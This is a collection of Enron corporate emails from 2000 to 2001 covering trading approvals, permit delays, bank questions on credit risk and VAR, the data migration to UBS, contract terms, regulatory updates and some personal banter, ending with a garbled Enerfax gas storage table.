Ozegalska/LON/ECT, Giuseppe Galata/LON/ECT@ECT, James Sandt/LON/ECT@ECT, 
Janine Juggins/LON/ECT@ECT, Beth Apollo/LON/ECT@ECT, Neil 
Chapman/LON/ECT@ECT, Jarek Dybowski/LON/ECT@ECT, Mark E Haedicke/HOU/ECT@ECT, 
Michael R Brown/LON/ECT@ECT, Rahil Jafry/LON/ECT@ECT, ECT London European 
Trading, Joost Dantuma/LON/ECT@ECT, Sidney Cox/LON/ECT@ECT, Anton 
Belchenko/MOS/ECT@ECT, Matthew Landy/LON/ECT@ECT, Naomi Connell/LON/ECT@ECT, 
Bruce N Stram/HOU/EES@EES, Philippe Petit/LON/ECT@ECT
cc:  
Subject: weekly update

Per my conversation with Kathy Bolan at PG&E Energy Trading, Canada 
Corporation (and my confirmation thereof with Messrs. Suttle and Bowen), all 
cross-border trades between PG&E Canada and ENA should go under the master 
between PG&E Canada and ECC.

John, I read Phil's statements concerning the Redrock air permit issue and 
would like to shed some additional light concerning the reason why  
Transwestern  did not know about the delay in the agencies issance of the air 
permits.  I had met with each agency prior to submitting each application to 
ensure that each application contained the correct and proper information 
required by the EPA and State of Arizona.  When I told them that we were 
expecting the permits by the end of September, each agency indicated that a 
September permit issuance would not be a problem, in light of the fact that 
energy issues were to be given top priority in the State of Califonia.   I 
phoned the  permit engineer assigned to each application monthly to be kept 
aware of possible conflicts and resolve any concerns.  In all monthly calls, 
both agencies assured me that things were progressing on schedule.  As we 
approached the anticipated September issuance, calls to the agencies were 
conducted weekly and this was when I found out about the 1-4 month additional 
time which would be required for the permit issuance.  I dont know what else 
could have been done to track and alleviate problems encountered to ensure 
that the permits would be issued in a timely manner.

Tana:

Both Enserco and Arch Energy should be restricted from trading any U.S. power 
products.

1.  Enserco Energy, Inc. (although a FERC-authorized power marketer) is not 
authorized since credit has restricted them from trading any U.S. power 
products.

2.  Arch Energy Resources, Inc. was rejected by credit so I'm rejecting them 
as well.

Leslie

Since you are the father of this, I thought you'd want to see what we are up 
to.

   - DEMANDRE.WPD

Sevil,

Thanks for the card. It's a pleasure and privilege to work with you.

Vince

I don't know that we have to cover all of this but we should meet today to get a start on this. Rick
From: 	Wenz, Michelle  
Sent:	Tuesday, November 06, 2001 9:19 AM
To:	Buy, Rick; Bradford, William S.
Subject:	Question for Bank Meeting Today

In preparation for Friday's Bank Conference, Cheryl Lipshutz and I are sitting with the banks right now and we understand that you are meeting with them at 2pm this afternoon.  Here is a list of the initial questions they are posing to the RAC group:

RAC
1.	Does VAR analyses take care of the quality and predictability in regard to price risk management? (JP)
2.	Is the risk control and deal approval process going to change? (B)
3.	What percent of wholesale power and gas trading business does the top twenty counterparties represent? (B)
4.	Has Enron been asked to raise the amount of collateral posted by any counterparties?  What is the aggregate amount? (B)
5.	How is the credit downgrades expected to affect Enron's margin requirements?  How much extra cash will be needed in the immediate term to cover these requirements?  What would the source be for this cash? (B)
6.	What is the sensitivity analysis of the trading portfolios from a liquidity and margining requirement standpoint based upon i) two standard deviations in the relevant underlying commodity price both upward and downward, ii) a one notch credit downgrade by S&P, in addition to the action already taken by Moody's and Fitch, and iii) a combination of the two scenarios? (BNP)  What is the availability of sufficient liquidity to accommodate such scenarios? (BNP)
7.	Provide daily average, high and low VAR for 2000 and first quarter 2001 versus month-end values as provided in filings. (S)
8.	How are VAR limits established? (S)
9.	What are the various VAR limits and how often have they been exceeded in the last year?  How and when would VAR limits be adjusted? (S)
10.	What assumptions underlie VAR calculations?  Does VAR include operational risk? (S)
11.	Given Enron's VAR policy, will VAR grow as trading volumes increase? (S)
12.	Why is Enron's VAR higher than other traders, including merchant banks? (S)
13.	What risk information is distributed?  How timely is the information? (S)
14.	What financial measures does the company consider important in tracking the success of its trading business? (S)
15.	How is the VAR model validated?  Is the model backtested?  If so, is it a theoretical backtest where positions are held fixed or an actual backtest where actual P&L is compared to the estimated VAR?  How many times last year did the back tested value exceed the VAR? (S)
16.	What is the model vetting process?  Who is responsible for validating traders' models?  What is the time lag between front office development of a model and validation?  Are there any products that use unvalidated models for trading purposes or P&L? (S)
17.	How does the company ensure that traders use appropriate marks when marking to market? (S)
18.	Who monitors limits? (S)
19.	How frequently is the trading operation audited by internal and external auditors? (S)
20.	Is there a formal stress test that estimates the impact of a credit downgrade?  What is the qualitative assessment of such an event? (S)
21.	What is the current and year end expected counterparty exposure?  Gross or net of collateral? (S)
22.	What is the investment/non-investment grade counterparty exposure split for 2000 and first quarter 2001? (S)
23.	What percentage of investment grade counterparty credit risk is BBB+ or below? (S)
24.	How often does Enron review the credit rating of counterparties? (S)
25.	What is the breakdown of liabilities from price risk management activities? (H)
26.	Which companies are Enron's largest trading partners (share in trading turnover)? (H) 
27.	What is the total dollar amount Enron would have to post if i) downgraded to BBB- by S&P/Moody's, or ii) downgraded to non-investment grade by S&P/Moody's if called on all trading collateral accounts? (B)
28.	Does Enron guarantee the obligations of the trading subsidiaries? (S&P)

Michelle Wenz
Enron Global Finance
713-853-0920
michelle.wenz@enron.com

Don,
Ellen should be e-mailing you the history in a few minutes.  Have a good
trip and I will speak with you next week regarding
cocktails.

Jeff

Whenever feasible,for the software!
I was at a conference on bandwidth in Amsterdam on
Thursday which I found quite interesting.What about writing
a paper for EPRM together on bandwidth where,by essence,
all options SHOULD be swing options?
Helyette

Please send out 2 books to MEGA at the following address:

Steve Eckert
Merchant Energy Group of the Americas, Inc.
151 West Street, Suite 300
Annapolis, MD.  21401

Thanks!
Ben

I came in this weekend to go through the model that I thought you were going 
to send me on Friday.  Can you send that over so I can get up to speed with 
it.  I am just trying to learn how you have been valuing these assets.  Thanks
Ben

mom loves me more than you

From: 	Dorland, Dan  
Sent:	Monday, December 17, 2001 2:18 PM

I can't buddy... Paul has me doing a bunch of stufff

From: 	Dorland, Chris  
Sent:	Monday, December 17, 2001 4:10 PM
To:	Dorland, Dan

Come on. Sign into IM.

Sent:	Monday, December 17, 2001 2:00 PM

No comment

Sent:	Monday, December 17, 2001 3:57 PM
Subject:	

Gaffney told me to ask you about your dance partmer?

How is the transfer of these assets taking place?  Is the father deceased?  
If you know, please advise, as we need to do some paper work if there is a 
true transfer of ownership.

Thanks!

To all,  we are compiling a list of all common data ( documents, excel spreadsheets, etc...) contained on our O:drive and M:drive infrastructure that will be required for NetCo.  The assumption is that no transactional deal type data will be migrated. Please forward any directory names that will be required for Netco to me. For example,  O:\common\directoryname etc......If there are additional people or resources that I can coordinate with please let me know.  I am available to meet and assist in anyway possible.  

Thanks,
Mike Croucher

It appears that the following email may not have been clear.  You have to copy all documents yourself.

This is my cheat sheet if it helps:  

H Drives:
1.  Each person will have to move any data over personally from the old H drive (which is now Z:) drive to their new H drive.  
2. The Z: drive (old H:) will be removed from UBS employees on Thursday night.

O Drives:
1. For the old O or M drives go to O:\ESTATE\ O (or M ? pending location of data) and copy to the new common O.  The Estate O and M will be removed from UBS employees on Thursday night.

Do not delete anything and only copy information which is complies with the policy.  Please make sure that those people who are not in the office are contacted and comply.  

Louise

To:		All Enron Employees Transferring to UBS Warburg Energy (or its affiliates)

Under the terms of the various agreements among certain Enron entities and UBS AG, certain Enron data and documents may be provided to UBS.  To ensure compliance with those agreements, Enron's document retention policy, as well as directives of various investigative agencies, the attached protocol regarding the process for migration of any information or data to UBS has been developed.

Please review the protocol carefully.  Then, complete the attached Certification and return it, with attachments, to Linda Guinn at EB 3829a no later than February 11, 2002.

Questions about this matter may be directed to Michelle Cash at (713) 853-6401 or Francisco Pinto-Leite at (713) 345-7942 .

Protocol Document and Data Copy Instructions
   
Certification Document

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i have a question on my p&l.  how did the hedge book make money on change in 
price when it was long and the market went down?

Can't, I'm going to a recruiting dinner.

	From:  Eric Bass                           11/17/2000 08:30 AM
	
To: Shanna Husser/HOU/EES@EES, Timothy Blanchard/HOU/EES@EES, Matthew 
Lenhart/HOU/ECT@ECT, Chad Landry/HOU/ECT@ECT, Bryan Hull/HOU/ECT@ECT, Brian 
Hoskins/Enron Communications@Enron Communications, Hector Campos/HOU/ECT@ECT, 
Luis Mena/NA/Enron@Enron, Lisa Gillette/HOU/ECT@ECT, Christa 
Winfrey/HOU/ECT@ECT
cc:  
Subject: Keneally's

Anyone up for Keneally's after work today?

As per Rick, attached please find a note from Rick Bergsieker regarding the 
Dolphin update.

Regards,

Start Date: 4/30/01; HourAhead hour: 15;  No ancillary schedules awarded.  No 

Schedules\2001043015.txt
Error: Invalid variant type conversion

     Details:

  TRANS_DATE: 4/30/01

Hi Rick,

Thank you for the follow, good to hear that everything went well.  Please
complete the attached form and send back to me at the following address:

PG&E National Energy Group
7500 Old Georgetown Road
Bethesda, MD 20814
Attention: Liz Fricke

We will send a check to your home. Please contact me if you have any
additional questions.

Thank You,
Liz Fricke
From: Buy, Rick [mailto:Rick.Buy@ENRON.com]
Sent: Friday, December 14, 2001 11:29 AM
To: Fricke, Liz
Subject: RE: Travel arrangements for 12/12/2001 and 12/13/01

Liz- Trip and dinner meeting went well. I have receipts for expenses so
if you can tell me how to process I will. Thanks for all your help. Rick
Buy

From: Fricke, Liz [mailto:liz.fricke@neg.pge.com]
Sent: Tuesday, December 11, 2001 3:54 PM
To: Buy, Rick
Subject: Travel arrangements for 12/12/2001 and 12/13/01

Hi Rick,

As promised, attached is your travel information.  At 6:30 tomorrow,
please
plan on meeting Lyn Maddox, Tom Boren, Chris Iribe and Tom King at 6:30
Ruth
Chris Steak House (301/652-7877)	7317 Wisconsin Ave., Bethesda.
In
case you need it Lyn's cell phone number is (301) 704-6738.  Please let
me
know if you need anything else.  With respect to any expenses you incur
I
will e-mail you an expense reimbursement form. Please let me know if you
have any additional questions.

Thank you
Liz Fricke

> From:	mailer [mailto:mailer@adelmanmail.com]
> Sent:	Tuesday, December 11, 2001 3:32 PM
> To:	'liz.fricke@neg.pge.com'
> Subject:	Travel arrangements for Rick Buy traveling on 12/12/2001
> 
>  <<Attachment>> 

Thank you. 

Jane:

I am meeting with John Suttle this afternoon to discuss the appropriate 
approach here. We will send you a note later on today.

Alan

	Jane McBride@ENRON
	11/28/2000 04:16 AM
		
		 To: John Suttle/HOU/ECT@ECT
		 cc: Alan Aronowitz/HOU/ECT@ECT, Mark Evans/Legal/LON/ECT@ECT, Sara 
Shackleton/HOU/ECT@ECT, David Minns/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
		 Subject: Re: credit for Nippon Chemi-con

Dear John (and Sara this is a follow-up from my email to you of this morning 
our time),

I think Morten-Eric is planning to call you again tomorrow morning and he may 
mention this but I am still trying to work out the best way to move forward 
on this.  I have also today spoken with David Minns to see if he has done 
anything like this before.

Having today had a closer look at the provisions you included and especially 
the three at the end (outstanding swap transactions, swaps to roll up under 
new master and credit provision of master to govern), I am a bit confused. 
Morten did say that you had said that these could be deleted but I wanted to 
make sure we were on the same track.  

In simple terms, this transaction with Nippon Chemi-con is a simple stand 
alone agreement to supply physical power.  (There is not even an option for 
financial settlement in this one - although there will be in later ones).  
From the credit terms you have proposed I wonder whether you are thinking 
that we need a credit support annex or something similar because it will not 
be enough just to put in those terms you have included, additional provisions 
will be required so that those terms can work (and we don't have a master so 
we don't already have any of those).

If so, I guess we need to link a CSA into the power contract.  If Sara has 
done this before or can email me something along these lines I am very happy 
to have a go at it.  

If on the other hand this is less of an ISDA related issue (which I am 
starting to suspect) and is something that the lawyers doing physical 
electricity trading may have done before, perhaps it is better to ask them 
and not Sara.  Have you dealt with anything like this with the physical 
traders before - suspect you may well have.

I am attaching the latest draft of the agreement - FYI.

I am really sorry if I seem pedantic or difficult (or less than smart) but I 
have never done anything credit related like this before and am very unsure 
about the best way to move forward in order to get a draft to the customer 
ASAP without imposing anymore than necessary on you all in Houston (or London 
if Mark Evans has any ideas).  SO HELP!! (Grin!)

Thanks John.  I wont be in much before 9am tomorrow morning but would be 
happy to call you then or later at home, if you want to speak.  Just let me 
know what suits you.

	John Suttle@ECT
	2000/11/28 08:32
		
		 To: Jane McBride/AP/Enron@ENRON

Sara - 

Can you please help Jane in putting credit language into the confirmation of 
a Japanese deal?  I have provided a worksheet with credit provisions that 
would normally go into a master or an omnibus confirmation.  In this case, it 
will be an omnibus.

Please let me know if I can do anything from here.

John

Jane McBride@ENRON
11/27/2000 05:11 PM
To: John Suttle/HOU/ECT@ECT
cc: Alan Aronowitz/HOU/ECT@ECT, Mark Evans/Legal/LON/ECT@ECT 
Subject: Re: credit for Nippon Chemi-con  

Hi John,

Thanks for this, just wondering though, how do you usually get from this sort 
of table to the actual provisions to include in the contract.  Alan, Mark, is 
there any easy way to do this?

Thanks.

Jane 

	2000/11/28 07:05
		 
		 To: Morten E Pettersen/AP/Enron@Enron
		 cc: Jane McBride/AP/Enron@Enron, Joseph P Hirl/AP/ENRON@ENRON
		 Subject: credit for Nippon Chemi-con

Morten Erik - 

I recommend the credit terms provided in the attached document to be included 
in the Nippon Chemi-con contract.  These are industry standard terms for a 
counterparty with credentials such as Nippon-Chemi-con, and these industry 
standards are what will enable Enron to syndicate the credit risk if we 
decide to do so in the future.  

After my discussion with Jonathan last week, I think it is clear that Credit 
is on the same page with your team in that we recognize the importance of 
getting this first deal booked.  I think that in proposing the terms of your 
transaction to the counterparty though, Enron can begin educating the market 
as to the nature of the credit risk imbedded in the deal structure, and in 
doing so, begin setting the same standards we have in our other portfolios.  
The attached credit terms are not set in stone, but I think they are a good 
place to start.  I will make myself available to you and the counterparty to 
discuss the credit terms, and we will be very willing to negotiate the terms 
in good faith.  

My point is simply that we should not enter into any of these transactions 
without fully discussing the credit implications with the counterparty.
 
Please feel free to call me or write if you have any questions or concerns.

John  
x30906

On March 28, FERC provisionally approved the GridFlorida RTO.

Some positive aspects for EPMI:

States that EPMI's proposal for a real time energy market has "theoretical 
merit", but practically may not be implemented when operational.  Encourages 
consideration of our proposal and how it could be practically implemented.
Grants EPMI's protest that Applicants cannot acquire software and other 
systems implementing market design until after the independent Board is 
seated and given its approval.

From: webmaster@cera.com [mailto:webmaster@cera.com]
Sent: Thursday, August 30, 2001 3:17 PM
To: clients@cera.com
Subject: Western Energy Markets: New Power Plants Soothe the Market -
CERA Monthly Briefing 

Title: The Supply Response 	
URL(s):	

http://www20.cera.com/eprofile?u=35&m=2641;

WESTERN ENERGY MARKETS: NEW POWER PLANTS SOOTHE THE MARKET

Roughly 5,000 MW of new generating capacity in 2001 has helped dampen price 
pressures and stem reliability concerns in California and the West. New plant 
plus significantly reduced summer demand through conservation has put the 
West's capacity margin at 15 percent, but regional balances vary widely. Power 
demand declines have also completely relieved the West Coast gas supply 
shortfall. Despite low hydroelectric output, gas demand for power generation in 
the West is actually down from last year.

*  Energy conservation in response to the retail price increase, cool weather, 
and the slowing economy is the strongest fundamental driver in California. 

*  New power supplies have arrived, but grid operators cannot count on full 
nameplate capacity within the first few months of a new plant's start date.

*  Pacific Northwest hydroelectric resources remain critically low despite low 
demand, raising the specter of reliability problems this winter.

**end**

Follow above URL for complete Monthly Briefing (9 printed pages).

E-mail Category: Monthly Briefing                                  
CERA Knowledge Area(s): Western Energy

CERA's Autumn 2001 Roundtable event dates and agendas 
are now available at http://www20.cera.com/event

Ditto credit -- except
Electric District Number Eight and Kensington Energy, Ltd. not authorized to trade US power -- not current CPs/not FERC approved.  (I'm following up with Tracy by this e-mail to look into Electric District Number Eight.)

Tracy -- what do you know about Electric District Number Eight?  

Leslie

Sent:	Wednesday, October 17, 2001 9:03 AM
To:	Aronowitz, Alan; Calo, Andrea; Cooper, Tracy J. (EBS); Gaffney, Chris; Hansen, Leslie; Hodge, Jeffrey T.; Johnston, Greg; Keohane, Peter; Korkmas, Deb; McBride, Jane; Minns, David; Nettelton, Marcus; Powell, Mark; Rossi, Robbi; Van Hooser, Steve; Viverito, John
Subject:	FW: EOL and Clickpaper Approvals for 10-16-01

From: 	Lebrocq, Wendi  
Sent:	Tuesday, October 16, 2001 6:09 PM
To:	Lambert, Karen; Jones, Tana; Schott, Samuel; Brackett, Debbie R.; Clark, Cynthia; Enron Europe Global CounterParty,; Sever, Stephanie; Moran, Tom; Clark, Claudia; Bradford, William S.; Lees, Lisa; Fayett, Juana; Morse, Jana; Le, Trang; Maley, Paul; O'day, Karen; Rohauer, Tanya; Lombardi, Kelly; Lindsay, Brian; EOL Call Center; Hare, Bill D.; Heffernan, Amy; Lafuze, Molly; Clark, Danny; Panus, Stephanie; Mandola, Teresa; Ebow, Amber; Coleman, Tandra; Campbell, Lesli; Lebrocq, Wendi; Taylor, Mark E (Legal); Lauer, Kara; Banner, Kimberly; Mcquade, Jennifer; George, Fraisy; Guillory, Michael; Rajaram, Aparna; Monterrey, Maribel; Lebeau, Maria; Escamilla, Albert; Curry, Ken
Subject:	EOL and Clickpaper Approvals for 10-16-01

 << File: EOL 10-16-01.xls >> 
Regards,

3-3835

Here is the first draft of the strategy memo for Doorstep.  Veronica was nice 
enough to agree to check it over to ensure we have all offices that are on 
the schedule, as well as ensure othat offices are not listed twice.

I'll send you another draft once it is nearer finalization.

Shona

Why in the world would I want a picture of you at one of your gay bars?????    So did you crop out your backdoor man?
Really quit trying to hit on me. I'm not bi.  

Or is that a picture of you at the new Vail condo? If it's at the Vail condo then it's ok that you're gay.  

So what's up with you? I see the ski trip is starting to take form. You know we have to go meet the All Girl Ski team.
So are you getting ready for them? Damn they about killed me last time. Those steep, tight tree trails. And then the last run of the day - the ski run from hell.    

I was just thinking. Have you ever been to my place? (reminder to Pual: Donnie is not gay) One of these days if you're in town maybe a group of us could go out to eat or something.  

Later  
Heavy D
  
From: Lucci, Paul T.
Sent: Wednesday, November 21, 2001 12:03 PM
To: Bob Williams (E-mail); Brian Veazey (E-mail); Cameron Cryans (E-mail); don bratcher (E-mail); Joey Brewer (E-mail); john d.williamson (E-mail); Larry Bevans (E-mail); Michael  
Subject: FW: Picture
  
Here is a picture of me, you should all save it and have me sign it next
time we get together!

Eric - Mary Hain resigned her position with Enron.  Her e-mail will be 
deactivated tomorrow.  Please remove her from your mail lists.

Lysa Akin
503/464-7927

Eric Benson@ENRON on 04/05/2001 07:07:02 AM
cc:  
Subject: ENA Government Affairs Report - April 2001 - PLEASE READ AND REPLY 
BY NOON ON FRIDAY

Ms. Hain - 

please provide updates for the month of April for the matters referenced 
below and return to my attention by noon on Friday (4/6/01); the ENA Report 
is due the first Friday of the month

please advise of any questions, comments or concerns

Eric Benson
713-853-1711

=======

----- Forwarded by Eric Benson/NA/Enron on 04/05/2001 09:05 AM -----

	Eric Benson
	02/28/2001 11:59 AM
		 
		 To: Mary Hain/HOU/ECT@ECT
		 cc: James D Steffes/NA/Enron@Enron
		 Subject: ENA Government Affairs Report - March 2001

Ms. Hain - 

 Jim Steffes has asked that I help put together the ENA Government Affairs 
Report.  The concept is to make the report a forward document as well as 
reporting on items that have occurred.  The report is due to ENA management 
the first week of each month.

 Please provide information on the current status and upcoming events for the 
following projects by Friday, March 2, 2001.  The report currently indicates 

PROJECT	KEY ISSUES	STRATEGIES/COMMENTS/NEXT ACTIONS
Antelope Valley	Interconnect ion Agreement.	Reviewing agreement for consistency with business 
objectives and FERC requirements.
		
 Please advise of any questions, comments or concerns.  I can be reached at 
713-853-1711.

	I would like to recap my understanding and the "To Do's" from the meeting yesterday.  

		1.  After November 1, Measurement would NO longer adjust any TBS physical
	                 volumes unless there was a PPA directly influencing said TBS.

		2.  Measurement would check  to see if they had a deduct meter they were
	                 using in the end user process. (Since the meeting we have discovered that
	 	     the deduct meter IS in GVA, therefore no checking needs to be done).

		3.  Gas Logistics would check with IT on possible enhancement (if necessary) for
		     negative volumes to the TBS.  (We have talked with IT and this would be
		     a major enhancement and have to be done with the new system).

		4.  Procedures need to be documented to handle negative numbers created by
		     the LDC giving measurement an end user actual volume greater than the 
		     TBS connected to NNG.

		5.  Measurement and Gas Logistics agreed that all measured volumes including
		     End User point volumes would be "housed' in PGAS.

	After further discussions in Gas Logistics, our recommendation is that neither Measurement or Gas Logistics accomodate a
	negative number.  If the LDC gives measurement an end user volume greater than the TBS the following should happen:

		1.  Measurement should either:

			a.  Call the LDC and let them know they cannot accept a volume at an end
			     user point higher than their TBS.

			b.  Or Measurement can call Jodie Floyd on the Gas Logistics Measurement Desk
			     and Jodie will call LDC with the same info.

		2.  If Measurement does not get an answer before measurement close, then measurement will
		     use the number equal to the TBS for the end user point.

	Gary and Ellis, you may want to have more discussions on this topic.  I would be glad to regroup if you want.
	I have put a call into Marketing to talk to them about our concerns on this issue.  Also Raetta and Jodie are
	 going to go ahead and call Wisconsin Gas and get their explanation of why an end user point would be
	greater than the TBS.  Hopefully it is just a measurement error.  We will let you know the outcome.

	If there is something I missed, please let me know.  Thanks. Lynn

From: 	Winckowski, Michele  
Sent:	Friday, October 05, 2001 10:09 AM
To:	Blair, Lynn; Anderson, Gary E.
Cc:	Dornan, Dari
Subject:	End-user Agreement Processes

	Just wanted to follow-up.  Are we still O.K. with the decisions made in the meeting the other day regarding the handling of end-user transactions?  Have we run into any additional obstacles?  Do you need me to do anything to assist in the process?  If something does change, would you please let me know.  Thanks MW

The following is the current status of our outstanding items:

Observation: RED:  Foreign currency risks are managed by the respective 
trader within each of the trading portfolios:

Status:  Revise target date to November 30, 2000.  The new associate in 
charge of currency starts September 15th.  Due to the complex nature of the 
problem, she will require time to gain an understanding of the currency risks 
in each of the books, and to determine the most effective process to manage 
the risks within the various trading portfolios.

Observation:  YELLOW - Due to the anticipated deregulation of the Canadian 
power market effective 2001, transaction volume is expected to increase thus 
increasing the need to capture transactions in an automated system 
environment (Enpower).

Status:  We are currently entering our transactions in the test environment.  
We expect to have Enpower in production for Calgary by September 30th.

Observation:  YELLOW - Term transactions executed via EOL do not 
automatically bridge into the capture systems thus increasing the amount of 
transactions manually captured.

Status:  Houston is currently testing the new functionality.  This is 
expected to be in production by October 6th.

If you have any questions or require additional information, please let me 
know.  

	From:  Shona Wilson @ ENRON                           09/08/2000 10:53 AM
	
cc:  
Subject: update on doorstep to business heads - calgary - with calgary

Sorry, I should not have sent you London

Jeff Skilling and Sally met yesterday to discuss the status of the doorstep 
project, findings, etc.  As a result, Sally has asked me to put together a 
summary of findings to be discussed with the business heads, as Jeff is 
planning to contact them about the doorstep findings.

I have prepared a schedule from the doorstep database, ranked findings, and 
indicated which common findings were found in each office.

Please review this sheet on Calgary against the findings as you are aware, 
and give me your feedback (changes, updates, etc).  I need this as soon as 
possible, as Sally would like to alert the business heads as early as 
possible.

I am interofficing you the doorstep findings and ratings as I currently have 
it for your review.

Thanks

Shona

Hi Cliff,
Attached is a memo from Doak Bishop analyzing Enron's claims under our 
political risk insurance for expropriation of TGS resulting from the stamp 
tax.  We are asserting in our suit against Argentina, that the tax assessment 
is an expropriation prior to payment because it affects our equity in the 
company.  In other words, any attempt to dispose of the asset would require 
disclosure of this massive assessment which significantly impairs the value.  
Doak and I met with our expert in international law, Professor Michael 
Reisman of Yale who believes and will testify that this is a valid claim.  
Therefore under the policy, we arguably have an immediate claim for 
expropriation against OPIC, even though we haven't paid any money. To avoid 
waiving any claims, we will prepare a letter to OPIC requesting a tolling 
agreement, so we do not have to file a claim or arbitration against it within 
the period required under the policy, pending resolution of the matter.  
Given the nature of our call with them this morning, I'm sure they will 
cooperate.

I will arrange a call with Guido Tawil, our local counsel in Argentina to 
review the PPI issue, and we will analyze the commercial policy to see if we 
can find any coverage there.
Michelle

 - 2Z#801!.DOC

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 08/21/2000 
01:11 PM ---------------------------

J-P Bouchaud and M Potters <book@science-finance.fr> on 08/18/2000 09:45:47 AM
To: vkamins@enron.com
cc:  
Subject: New book out: Theory of Financial Risks

Dear colleague,

    you have recently downloaded a draft version of our book,
we are pleased to announce that it is now available in print:

*** THEORY OF FINANCIAL RISKS ***
>From Statistical Physics to Risk Management

by Jean-Philippe Bouchaud (Commissariat a l'Energie Atomique, Saclay)
and Marc Potters (Science & Finance)

Cambridge University Press (2000)
ISBN 0 521 78232 5

The book is available in bookstores in Europe and should be
available before October in the rest of the world. You can find out
more about it, including links to order it on-line, on our web site:
http://www.science-finance.fr/book.html

We wish you a pleasant reading,

Jean-Philippe Bouchaud
and Marc Potters
--
Science & Finance -- Capital Fund Management
109-111 rue Victor Hugo  |  book@science-finance.fr
92532 Levallois          |  tel: +33.1.41.27.91.11
France                   |  fax: +33.1.47.39.04.47

please advise if you would like a copy of this article for your review

eric
----- Forwarded by Eric Benson/NA/Enron on 06/06/2001 08:56 AM -----

	webmaster@cera.com
	06/05/2001 09:01 PM
		 
		 To: insights@cera.com
		 cc: 
		 Subject: TURKEY ABOLISHES THE EXCLUSIVE RIGHT TO IMPORT NATURAL GAS - CERA 
Insight

Title: Turkey--Adding to a Crowded Market?
URL(s):
http://www20.cera.com/eprofile?u=35&m=2471
http://www20.cera.com/eprofile?u=35&m=2472

TURKEY ABOLISHES THE EXCLUSIVE RIGHT TO IMPORT NATURAL GAS

The gas bill's passage into Turkish law in May has far-reaching consequences
for international power developers, liquefied natural gas (LNG) suppliers into
Turkey, and incumbent players. CERA identifies two critical consequences
emerging from the new legislation:

*  Power developers may be able to renegotiate their gas supply agreements.

*  More opportunities for LNG suppliers will emerge.

**end**

Follow above URL for complete report.

E-mail Category: Insight
CERA Knowledge Area(s): European Gas, European Power

CERA's Spring 2001 Roundtable event dates and agendas are now available
at http://www20.cera.com/event

Susan:
Sara and I would like to meet with you sometime on Monday to go over all 
outstanding work items so we are aware of what can be accomplished before you 
leave and what may need to be given to the other paralegals.  Can we do that 
at 10 and can you send to us before then an updated list of your outstanding 
work assignments? Thanks.

Carol

Chris,

Please take a look at the attached language and forward it to Stacey for her 
comments.

Thanks,

Kevin

03/27/2001 12:07 PM
To: Stacy E Dickson/HOU/ECT@ECT
cc: Kevin Ruscitti/HOU/ECT@ECT 
Subject: Secondary firm delivery

Stacy,

Kevin Ruscitti has requested a secondary firm ANR ML7 phy gas product for 
EOL.  I have located some language that you and Dale worked on back in May of 
2000.  Please let me know if this language will be OK for our needs.  Also, 
will the current GTC for Phy gas need to be revised in any way?

Thanks,

CW
3-7533

A US Gas Transaction with Enron North America Corp., under which Seller shall 
sell and Buyer shall purchase a quantity of natural gas equal to the Daily 
Contract Quantity at the Contract Price on a secondary firm basis. The 
Contract Price shall be as submitted by Counterparty via the Website.  The 
Period of Delivery shall be from the Effective Date through the Termination 
Date.
The term of the Transaction shall correspond to the date(s) set forth in the 
The transaction is for delivery at the ANR Pipeline Company ML7 
interconnect.  The volumes scheduled to be delivered are subject to 
reductions due to normal operational constraints on the ANR  Pipeline Company 
pipelines based upon historical operating conditions.  The reductions caused 
by these constraints are excused nonperformance and are not considered a 
failure to receive or deliver firm gas.  In the event that the volumes 
scheduled are reduced due to such normal operational constraints, Buyer may 
designate a secondary firm delivery location.
day.

Michelle,

Please send the revised agreements when you get a chance.  I spoke to Mike B. this afternoon and agreed to move the deadline to Friday, August 17, 2001.

Phillip

From: 	"Simpkins, Michelle" <MSimpkins@winstead.com>@ENRON [mailto:IMCEANOTES-+22Simpkins+2C+20Michelle+22+20+3CMSimpkins+40winstead+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Monday, August 06, 2001 12:10 PM
To:	'pallen@enron.com'; 'pallen70@hotmail.com'
Cc:	'michaelb@amhms.com'; 'adelag@amhms.com'
Subject:	Utility Construction Escrow Agreement (Allen/AMHP)

 <<Utility Construction Escrow AM (AMHPLeander).DOC>>

Phillip,

Enclosed is the Utility Construction Escrow Agreement for your execution in
connection with the closing on the property located in Leander, Texas.
Please review the enclosed document and contact me at (512) 370-2836 or Mike
Bobinchuck with any questions or concerns.  Thanks.

Michelle L. Simpkins
Winstead Sechrest & Minick P.C.
100 Congress Avenue, Suite 800
Austin, Texas  78701
(512) 370-2836
(512) 370-2850 Fax
msimpkins@winstead.com

 - Utility Construction Escrow AM (AMHPLeander).DOC << File: Utility Construction Escrow AM (AMHPLeander).DOC >> 

Hi everyone,
Attached is the list of all packets ending October 2001.  There are several shippers that are getting cut for today's gas day, which makes their cumulative balance be off the target volume month to date.  The following are the shippers who are off target as of the 18th of October:

Duke
ENA
MidAmerica
NSP Power Pack  (the Power Pack ends in October and should have a zero balance at month end, any residual balance will be transferred to Park and Ride)
Tenaska
Transcanada
Virginia Power

Thank you for working with your shippers in getting their packets to balance.

Reyna Cabrera
(713) 853-3072

?
----- 
[IMAGE]	[IMAGE]	[IMAGE]	[IMAGE]	[IMAGE]	[IMAGE]	[IMAGE]	[IMAGE]	[IMAGE]	[IMAGE]	[IMAGE]	
[IMAGE]	[IMAGE]	[IMAGE]	[IMAGE]	[IMAGE]	[IMAGE]	[IMAGE]	[IMAGE]	[IMAGE]
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																	Enerfax Daily 
																	
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																																					[IMAGE]				
																																									
																													Looking  for a past article or issue. Click here to use Sagewave's  Search.
																													
																												Enerfax  Daily? -? Page  ? -? November 30,  2000 
																												
																																				[IMAGE]					
																																									
																																	[IMAGE]								
																																									
																																			Enerfax  Daily? -?  Page 4? -?  November 30, 2000 -? ?  Past  Issues 
Available on Sagewave
																																			
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																						Natural? Gas? Storage?  Report
																						
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																									? ? ? ? ? ? Week?  ? ? ? ? ? ? ? ? ?  ? ? ? ? ? ? ? ?  Prev? 
																									? ? ? ? ?  ?Ending? ? Prev? ? ? ?  ? ? ? ? ? ?Prev? ?  Year? ?
																									| Region | 11/24/00| Week | Diff | % Full | Year |  % Full 
																									|  Prod? ?|? ?622? ?|? 664 |  -42? |? 65%? ?|? 848 |?  89%? ?
																									| East? ?|? 1552?  ?| 1643 | -91? |? 85%? ?| 1714  |? 94%? ?
																									| West? ?|? ?328?  ?|? 341 | -13? |? 65%? ?|?  439 |? 87%? ?
																									|? ? ? ?  |? ? ? ? ?|? ? ?  |? ? ? |? ? ? ? |?  ? ? |? ? ? ? 
